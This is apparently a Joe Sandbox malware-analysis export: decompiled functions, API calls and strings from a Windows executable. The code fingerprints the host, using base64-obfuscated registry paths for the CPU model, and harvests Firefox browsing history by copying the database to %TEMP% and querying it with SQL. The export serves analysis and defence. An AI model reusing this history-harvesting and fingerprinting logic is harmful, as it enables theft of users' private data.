String ID: $%TEMP%$.tmp$SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000
API String ID: 1739629129-462058183
Opcode ID: f7e9225fd83f2c52edbe2e774f54d6d797bcc424be62889ade88ac8b0a8b95a9
Instruction ID: 96711d942fa6cd82f2097d7fbc3cef73731e9345f18fca2529b5113db019f3e4
Opcode Fuzzy Hash: f7e9225fd83f2c52edbe2e774f54d6d797bcc424be62889ade88ac8b0a8b95a9
Instruction Fuzzy Hash: 70810A71A00109AFDB00EB95DD82EDEBBB8EF48305F504536F414F72A1DB78AE568B58

Uniqueness

Uniqueness Score: 100.00%

Function 00415E60, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114
UNIQUE

C-Code - Quality: 46%

			E00415E60(signed int __eax, void* __ebx, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				signed int _t38;
				signed int _t91;
				void* _t92;
				void* _t93;
				intOrPtr _t112;
				void* _t116;
				intOrPtr _t119;
				intOrPtr _t120;

				_t117 = __esi;
				_t38 = __eax | 0x5500000a;
				_t119 = _t120;
				_t92 = 0xb;
				do {
					_push(0);
					_push(0);
					_t92 = _t92 - 1;
					_t122 = _t92;
				} while (_t92 != 0);
				_t91 = _t38;
				_push(_t119);
				_push(0x415ff0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t120;
				GetSystemInfo( &_v40);
				E00403D88( &_v48,  *_t91);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t91,  &_v60, _t116, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t91,  &_v68, _t116, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t93);
				E004075C0(0x80000002, _t91, _t93, _v64);
				_push(_v52);
				_push(0x416090);
				E00403E78();
				E0040377C(_t91, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t91);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t91,  &_v84, _t117, _t122);
				_push(_v84);
				_push(0x416090);
				E00403E78();
				E0040377C(_t91, _v72);
				_push( *_t91);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t91, _t117, _t122);
				_push(_v88);
				_push(0x4160c8);
				E00403850();
				_push( *_t91);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t91, _t116, _t117);
				_push(_v92);
				E00403850();
				_t112 = 0x4160c8;
				 *[fs:eax] = _t112;
				_push(E00415FF7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e60
0x00415e60
0x00415e65
0x00415e67
0x00415e6c
0x00415e6c
0x00415e6e
0x00415e70
0x00415e70
0x00415e70
0x00415e74
0x00415e78
0x00415e79
0x00415e7e
0x00415e81
0x00415e88
0x00415e92
0x00415e97
0x00415e9a
0x00415e9f
0x00415ea4
0x00415ead
0x00415eb8
0x00415ec0
0x00415ec9
0x00415ed4
0x00415ee1
0x00415ee2
0x00415ee7
0x00415eea
0x00415ef7
0x00415f01
0x00415f10
0x00415f1b
0x00415f20
0x00415f29
0x00415f2e
0x00415f31
0x00415f3e
0x00415f48
0x00415f4d
0x00415f4f
0x00415f57
0x00415f5c
0x00415f5f
0x00415f6b
0x00415f70
0x00415f72
0x00415f7a
0x00415f7f
0x00415f8e
0x00415f95
0x00415f98
0x00415f9b
0x00415fa8
0x00415fb0
0x00415fb8
0x00415fc5
0x00415fcd
0x00415fd5
0x00415fdd
0x00415fef

APIs

GetSystemInfo.KERNEL32(0041987E,00000000,00415FF0,?,?,00000000,00000000,?,00416BA9,?,,?,Zone: ,?,00416CC4,?), ref: 00415E88

Part of subcall function 00415CA0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00415CC7
Part of subcall function 00415CA0: GetProcAddress.KERNEL32(00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CCD

Part of subcall function 00415D60: LoadLibraryA.KERNEL32(user32.dll), ref: 00415D94
Part of subcall function 00415D60: GetProcAddress.KERNEL32(00000000,user32.dll,EnumDisplayDevicesW,00000000,00415E29,?,-00000001,?,?,?,00415F7F,Video Info,?,004160C8,?,GetRAM: ), ref: 00415D9A

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

GetRAM: , xrefs: 00415F4F
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EC4
CPU Model: , xrefs: 00415E9A
CPU Count: , xrefs: 00415F0B
Video Info, xrefs: 00415F72
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415EA8

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressE4513LibraryLoadProc$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 1117730568-1038824218
Opcode ID: fdeca8f1f316756a80b9ebe721215344842d46aac3a30030a3457658153e1ca9
Instruction ID: e4b56cc851b103c0b6e82843fe8d158378310d0a6374bcefbca3464089aad580
Opcode Fuzzy Hash: fdeca8f1f316756a80b9ebe721215344842d46aac3a30030a3457658153e1ca9
Instruction Fuzzy Hash: 0241E271A00109ABCB01EFD1D842FCDBBB9EF48305F51413BF504B7296D679EA468B59

Uniqueness

Uniqueness Score: 100.00%

Function 00415E64, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114
UNIQUE

C-Code - Quality: 46%

			E00415E64(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr* _t90;
				void* _t91;
				void* _t92;
				intOrPtr _t111;
				intOrPtr _t118;
				intOrPtr _t119;

				_t116 = __esi;
				_t115 = __edi;
				_t118 = _t119;
				_t91 = 0xb;
				do {
					_push(0);
					_push(0);
					_t91 = _t91 - 1;
					_t120 = _t91;
				} while (_t91 != 0);
				_t90 = __eax;
				_push(_t118);
				_push(0x415ff0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				GetSystemInfo( &_v40);
				E00403D88( &_v48,  *_t90);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t90,  &_v60, __edi, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t90,  &_v68, __edi, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t92);
				E004075C0(0x80000002, _t90, _t92, _v64);
				_push(_v52);
				_push(0x416090);
				E00403E78();
				E0040377C(_t90, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t90);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t90,  &_v84, _t116, _t120);
				_push(_v84);
				_push(0x416090);
				E00403E78();
				E0040377C(_t90, _v72);
				_push( *_t90);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t90, _t116, _t120);
				_push(_v88);
				_push(0x4160c8);
				E00403850();
				_push( *_t90);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t90, _t115, _t116);
				_push(_v92);
				E00403850();
				_t111 = 0x4160c8;
				 *[fs:eax] = _t111;
				_push(E00415FF7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e64
0x00415e64
0x00415e65
0x00415e67
0x00415e6c
0x00415e6c
0x00415e6e
0x00415e70
0x00415e70
0x00415e70
0x00415e74
0x00415e78
0x00415e79
0x00415e7e
0x00415e81
0x00415e88
0x00415e92
0x00415e97
0x00415e9a
0x00415e9f
0x00415ea4
0x00415ead
0x00415eb8
0x00415ec0
0x00415ec9
0x00415ed4
0x00415ee1
0x00415ee2
0x00415ee7
0x00415eea
0x00415ef7
0x00415f01
0x00415f10
0x00415f1b
0x00415f20
0x00415f29
0x00415f2e
0x00415f31
0x00415f3e
0x00415f48
0x00415f4d
0x00415f4f
0x00415f57
0x00415f5c
0x00415f5f
0x00415f6b
0x00415f70
0x00415f72
0x00415f7a
0x00415f7f
0x00415f8e
0x00415f95
0x00415f98
0x00415f9b
0x00415fa8
0x00415fb0
0x00415fb8
0x00415fc5
0x00415fcd
0x00415fd5
0x00415fdd
0x00415fef

APIs

GetSystemInfo.KERNEL32(0041987E,00000000,00415FF0,?,?,00000000,00000000,?,00416BA9,?,,?,Zone: ,?,00416CC4,?), ref: 00415E88

Part of subcall function 00415CA0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00415CC7
Part of subcall function 00415CA0: GetProcAddress.KERNEL32(00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CCD

Part of subcall function 00415D60: LoadLibraryA.KERNEL32(user32.dll), ref: 00415D94
Part of subcall function 00415D60: GetProcAddress.KERNEL32(00000000,user32.dll,EnumDisplayDevicesW,00000000,00415E29,?,-00000001,?,?,?,00415F7F,Video Info,?,004160C8,?,GetRAM: ), ref: 00415D9A

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

GetRAM: , xrefs: 00415F4F
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EC4
CPU Model: , xrefs: 00415E9A
CPU Count: , xrefs: 00415F0B
Video Info, xrefs: 00415F72
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415EA8

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressE4513LibraryLoadProc$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 1117730568-1038824218
Opcode ID: 7aa3be9bb8044f39e69f9009a8e70436efa4422038dade1ea97a955db04dd7ab
Instruction ID: 5334f543f3cde4c82855e693d3a9c32584cc6d37095a220752bcfb437b19b81d
Opcode Fuzzy Hash: 7aa3be9bb8044f39e69f9009a8e70436efa4422038dade1ea97a955db04dd7ab
Instruction Fuzzy Hash: D741E071A00109ABCB01EFD1D842FCDBBB9AF48305F51413BF504B7296D678EA4A8B59

Uniqueness

Uniqueness Score: 100.00%

Function 00403368, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

C-Code - Quality: 79%

			E00403368(void* __ecx) {
				long _v4;
				int _t3;

				if( *0x41c034 == 0) {
					if( *0x41b024 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0x41c208 == 0xd7b2 &&  *0x41c210 > 0) {
						 *0x41c220();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E004033F0, 2,  &_v4, 0);
				}
			}

0x00403370
0x004033d0
0x004033e0
0x004033e0
0x004033e6
0x00403372
0x0040337b
0x0040338b
0x0040338b
0x004033a7
0x004033c8
0x004033c8

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,0041A232,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000), ref: 004033A1
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,0041A232), ref: 004033A7
GetStdHandle.KERNEL32(000000F5,004033F0,00000002,0041A232,00000000,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E), ref: 004033BC
WriteFile.KERNEL32(00000000,000000F5,004033F0,00000002,0041A232), ref: 004033C2
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 004033E0

Strings

Runtime error at 00000000, xrefs: 0040339A, 004033D9
Error, xrefs: 004033D4

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction ID: 272384808b0d926620c8a29f01af81f970e1c010559b5e4fcbf7d036ebb79ccd
Opcode Fuzzy Hash: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction Fuzzy Hash: F5F09670AC03847AE620A7915DCAF9B2A5C8708F15F20867BB660744E5DBBC55C4525D

Uniqueness

Uniqueness Score: 0.02%

Function 004112D0, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 234
fileUNIQUE

C-Code - Quality: 42%

			E004112D0(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				WCHAR* _t83;
				intOrPtr* _t98;
				intOrPtr _t100;
				intOrPtr* _t102;
				intOrPtr* _t106;
				intOrPtr* _t134;
				intOrPtr* _t138;
				intOrPtr _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t146;
				intOrPtr* _t150;
				void* _t152;
				intOrPtr* _t157;
				intOrPtr* _t163;
				intOrPtr* _t169;
				void* _t171;
				intOrPtr* _t175;
				void* _t178;
				intOrPtr _t199;
				intOrPtr _t201;
				void* _t206;
				intOrPtr _t212;
				intOrPtr _t216;
				intOrPtr _t217;
				void* _t218;
				void* _t219;

				_t214 = __esi;
				_t177 = __ebx;
				_t216 = _t217;
				_t178 = 0xa;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t224 = _t178;
				} while (_t178 != 0);
				_push(_t178);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t216);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				E00403BDC( &_v28);
				_push(_t216);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t224);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t224);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t177,  &_v40, _t224);
				E004062FC(L"%TEMP%",  &_v64, _t224);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t177,  &_v44, _t224);
				_t83 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t83, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t177, _t178,  &_v36, _t214, _t224);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t177, _t178) != 0) {
					_t98 =  *0x41b140; // 0x41ca20
					_t100 =  *((intOrPtr*)( *_t98))(E00403990(_v36),  &_v16);
					_t218 = _t217 + 8;
					__eflags = _t100;
					if(_t100 == 0) {
						_t134 =  *0x41b390; // 0x41c934
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, E00403990( *_t134), 0xffffffff,  &_v20,  &_v24);
						_t219 = _t218 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								_t146 =  *0x41b414; // 0x41ca34
								_t150 =  *0x41b1dc; // 0x41ca30
								_t152 =  *((intOrPtr*)( *_t150))(_v20, 3,  *((intOrPtr*)( *_t146))(_v20, 3));
								_pop(_t206);
								E0040A610(_t152,  &_v48, _t206);
								E00403D88( &_v76, _v48);
								_t157 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t157))(_v20, 0, 0x4115ec, _v76, _v28));
								_t163 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t163))(_v20, 1, 0x4115ec, _v80));
								_t169 =  *0x41b1dc; // 0x41ca30
								_t171 =  *((intOrPtr*)( *_t169))(_v20, 2, 0x4115f8, _v84);
								_t219 = _t219 + 0x28;
								E00403CF4( &_v88, _t171);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t175 =  *0x41b1cc; // 0x41b0b4
								 *_t175 =  *_t175 + 1;
								__eflags =  *_t175;
							}
						}
					}
					L9:
					_t102 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t102))(_v20);
					_t106 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t106))(_v16);
					_pop(_t199);
					 *[fs:eax] = _t199;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t212);
					 *[fs:eax] = _t212;
				}
				_pop(_t201);
				 *[fs:eax] = _t201;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112d0
0x004112d0
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00411526,?,00000000,004115AB,?,00000000,?,00000000,00000009,00000000,00000000,?,0041180D,0041C91C,00411988), ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00411391

Part of subcall function 0040A610: LocalFree.KERNEL32(?), ref: 0040A656

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 00411544

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

.tmp, xrefs: 00411330
, xrefs: 004114D0
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790FreeLocalTick
String ID: $%TEMP%$.tmp
API String ID: 2516134899-2792595090
Opcode ID: db1cd16a4fb912c04a68405bb93bc2507ea4c30ea1d340a0ead4ef04d239a916
Instruction ID: 2907a0a36d16f86ef06436b94052184e29eddf1806116983537aed2fe47c33e4
Opcode Fuzzy Hash: db1cd16a4fb912c04a68405bb93bc2507ea4c30ea1d340a0ead4ef04d239a916
Instruction Fuzzy Hash: 8C81F871A00109AFDB00EF95DC82EDEBBB9EF49305F508436F514F72A1DB38AA458B59

Uniqueness

Uniqueness Score: 100.00%

Function 0040C26C, Relevance: 10.7, APIs: 7, Instructions: 204
UNIQUE

C-Code - Quality: 74%

			E0040C26C(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				short* _t63;
				short* _t68;
				signed int _t72;
				void* _t75;
				signed int _t79;
				void* _t83;
				int _t88;
				char* _t89;
				int _t92;
				void* _t93;
				short* _t94;
				void* _t95;
				int _t97;
				int _t98;
				void* _t103;
				short* _t105;
				signed int _t108;
				signed int _t109;
				int _t113;
				void* _t114;
				int _t116;
				void* _t117;
				short* _t119;
				short* _t120;
				signed int _t121;
				short* _t122;
				short* _t124;
				void* _t131;

				_t109 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 =  *0x429830; // 0xf81d6277
				_v8 = _t55 ^ _t121;
				_push(_t93);
				_t116 = _a20;
				if(_t116 <= 0) {
					L7:
					_t97 = _a32;
					_t113 = 0;
					if(_t97 == 0) {
						_t88 =  *( *_a4 + 4);
						_t97 = _t88;
						_a32 = _t88;
					}
					_t98 = MultiByteToWideChar(_t97, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t116, 0, 0);
					_v12 = _t98;
					if(_t98 != 0) {
						if(__eflags <= 0) {
							L22:
							_t94 = 0;
							__eflags = 0;
							L23:
							__eflags = _t94;
							if(_t94 == 0) {
								goto L10;
							}
							_t63 = MultiByteToWideChar(_a32, 1, _a16, _t116, _t94, _t98);
							__eflags = _t63;
							if(_t63 == 0) {
								L47:
								E00409DA7(_t94);
								goto L48;
							}
							_t118 = _v12;
							_t113 = E00409E3D(_a8, _a12, _t94, _v12, 0, 0);
							_t124 =  &(_t122[0xc]);
							__eflags = _t113;
							if(_t113 == 0) {
								goto L47;
							}
							__eflags = _a12 & 0x00000400;
							if((_a12 & 0x00000400) == 0) {
								__eflags = _t113;
								if(_t113 <= 0) {
									L39:
									_t119 = 0;
									__eflags = 0;
									L40:
									__eflags = _t119;
									if(_t119 != 0) {
										_t68 = E00409E3D(_a8, _a12, _t94, _v12, _t119, _t113);
										__eflags = _t68;
										if(_t68 != 0) {
											_push(0);
											_push(0);
											__eflags = _a28;
											if(_a28 != 0) {
												_push(_a28);
												_push(_a24);
											} else {
												_push(0);
												_push(0);
											}
											_t113 = WideCharToMultiByte(_a32, 0, _t119, _t113, ??, ??, ??, ??);
										}
										E00409DA7(_t119);
									}
									goto L47;
								}
								_t72 = 0xffffffe0;
								_t109 = _t72 % _t113;
								__eflags = _t72 / _t113 - 2;
								if(_t72 / _t113 < 2) {
									goto L39;
								}
								_t103 = _t113 + _t113;
								__eflags = _t103 + 8 - _t103;
								if(_t103 + 8 <= _t103) {
									goto L39;
								}
								_t75 = 8 + _t113 * 2;
								__eflags = _t75 - 0x400;
								if(_t75 > 0x400) {
									_t120 = E00405A57(_t94, _t109, _t113, _t75);
									__eflags = _t120;
									if(_t120 == 0) {
										goto L47;
									}
									 *_t120 = 0xdddd;
									L38:
									_t119 =  &(_t120[4]);
									goto L40;
								}
								E0040C240(_t75);
								_t120 = _t124;
								__eflags = _t120;
								if(_t120 == 0) {
									goto L47;
								}
								 *_t120 = 0xcccc;
								goto L38;
							}
							_t105 = _a28;
							__eflags = _t105;
							if(_t105 != 0) {
								__eflags = _t113 - _t105;
								if(_t113 <= _t105) {
									E00409E3D(_a8, _a12, _t94, _t118, _a24, _t105);
								}
							}
							goto L47;
						}
						_t79 = 0xffffffe0;
						_t109 = _t79 % _t98;
						__eflags = _t79 / _t98 - 2;
						if(_t79 / _t98 < 2) {
							goto L22;
						}
						_t20 = _t98 + _t98 + 8; // 0x8
						__eflags = _t20 - _t98 + _t98;
						if(_t20 <= _t98 + _t98) {
							_t98 = _v12;
							goto L22;
						}
						_t83 = 8 + _v12 * 2;
						__eflags = _t83 - 0x400;
						if(_t83 > 0x400) {
							_t94 = E00405A57(_t93, _t109, _t113, _t83);
							__eflags = _t94;
							if(_t94 == 0) {
								L20:
								_t98 = _v12;
								goto L23;
							}
							 *_t94 = 0xdddd;
							L19:
							_t94 =  &(_t94[4]);
							__eflags = _t94;
							goto L20;
						}
						E0040C240(_t83);
						_t94 = _t122;
						__eflags = _t94;
						if(_t94 == 0) {
							goto L20;
						} else {
							 *_t94 = 0xcccc;
							goto L19;
						}
					} else {
						L10:
						L48:
						_pop(_t114);
						_pop(_t117);
						_pop(_t95);
						return E00404AD4(_t95, _v8 ^ _t121, _t109, _t114, _t117);
					}
				} else {
					_t89 = _a16;
					_t108 = _t116;
					while(1) {
						_t108 = _t108 - 1;
						if( *_t89 == 0) {
							break;
						}
						_t89 =  &(_t89[1]);
						if(_t108 != 0) {
							continue;
						} else {
							_t108 = _t108 | 0xffffffff;
							break;
						}
					}
					_t92 = _t116 - _t108 - 1;
					_t131 = _t92 - _t116;
					_t116 = _t92 + 1;
					if(_t131 >= 0) {
						_t116 = _t92;
					}
					goto L7;
				}
			}

0x0040c26c
0x0040c26f
0x0040c270
0x0040c271
0x0040c278
0x0040c27b
0x0040c27d
0x0040c283
0x0040c2a6
0x0040c2a6
0x0040c2a9
0x0040c2ad
0x0040c2b4
0x0040c2b7
0x0040c2b9
0x0040c2b9
0x0040c2db
0x0040c2dd
0x0040c2e2
0x0040c2eb
0x0040c344
0x0040c344
0x0040c344
0x0040c346
0x0040c346
0x0040c348
0x00000000
0x00000000
0x0040c355
0x0040c35b
0x0040c35d
0x0040c453
0x0040c454
0x00000000
0x0040c45a
0x0040c363
0x0040c377
0x0040c379
0x0040c37c
0x0040c37e
0x00000000
0x00000000
0x0040c384
0x0040c38b
0x0040c3b9
0x0040c3bb
0x0040c40c
0x0040c40c
0x0040c40c
0x0040c40e
0x0040c40e
0x0040c410
0x0040c41f
0x0040c427
0x0040c429
0x0040c42d
0x0040c42e
0x0040c42f
0x0040c432
0x0040c438
0x0040c43b
0x0040c434
0x0040c434
0x0040c435
0x0040c435
0x0040c44a
0x0040c44a
0x0040c44d
0x0040c452
0x00000000
0x0040c410
0x0040c3c1
0x0040c3c2
0x0040c3c4
0x0040c3c7
0x00000000
0x00000000
0x0040c3c9
0x0040c3cf
0x0040c3d1
0x00000000
0x00000000
0x0040c3d3
0x0040c3da
0x0040c3df
0x0040c3fa
0x0040c3fd
0x0040c3ff
0x00000000
0x00000000
0x0040c401
0x0040c407
0x0040c407
0x00000000
0x0040c407
0x0040c3e1
0x0040c3e6
0x0040c3e8
0x0040c3ea
0x00000000
0x00000000
0x0040c3ec
0x00000000
0x0040c3ec
0x0040c38d
0x0040c390
0x0040c392
0x0040c398
0x0040c39a
